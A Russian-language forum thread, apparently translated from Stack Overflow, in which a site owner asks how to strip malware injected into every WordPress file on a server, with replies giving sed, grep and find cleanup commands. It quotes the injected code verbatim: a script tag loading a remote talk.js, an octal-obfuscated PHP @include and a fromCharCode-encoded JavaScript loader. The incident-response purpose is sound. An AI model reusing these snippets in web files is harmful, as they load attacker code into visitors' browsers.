Таким образом, весь мой сервер был взломан или возникла проблема с вредоносным ПО. мой сайт основан на WordPress, и большинство сайтов, размещенных на моем сервере, основаны на WordPress. Хакер добавил эту строку кода в каждый файл и в базу данных
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
Я поискал через grep используя
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
Я пытаюсь заменить его во всей файловой структуре, sed
и я написал следующую команду.
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
index.php
Сначала я пытаюсь заменить строку в одном файле , поэтому я знаю, что это работает.
и я знаю, что мой код неверен. Пожалуйста, помогите мне с этим.
Я попытался с кодом @ Eran, и он удалил всю строку, что хорошо и как ожидалось. Тем не менее, общий жаргон это
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
И хотя я хочу удалить весь контент, я хочу сохранить открывающий тег php <?php
.
Хотя решение @ slybloty легко и оно сработало.
чтобы полностью удалить код из всех затронутых файлов. Я запускаю следующие 3 команды, спасибо всем вам за это.
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"
- Удалить строку скриптаfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'
- убрать@include
строкуfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'
- удалить строку комментария
Кроме того, я снова запустил все 3 команды '*.html'
, потому что скрипт хакера создал нежелательный index.html во всех каталогах. Я не был уверен, что удаление этих index.html навалом является правильным подходом.
Теперь мне все еще нужно выяснить ненужные файлы и их следы.
Хакерский скрипт также добавил код JS.
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
Пытаюсь посмотреть, смогу ли я sed
это тоже.
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"
-l
sed -i
. Например, sed -i.bak
создаст *.bak
файл для всех файлов, которые редактируются. При использовании с while...grep
циклом вы будете выполнять резервное копирование только тех файлов, которые содержат эту строку. Извините за все дополнительные комментарии, но, на мой взгляд, вредоносное ПО - это сценарий «все руки на колоде».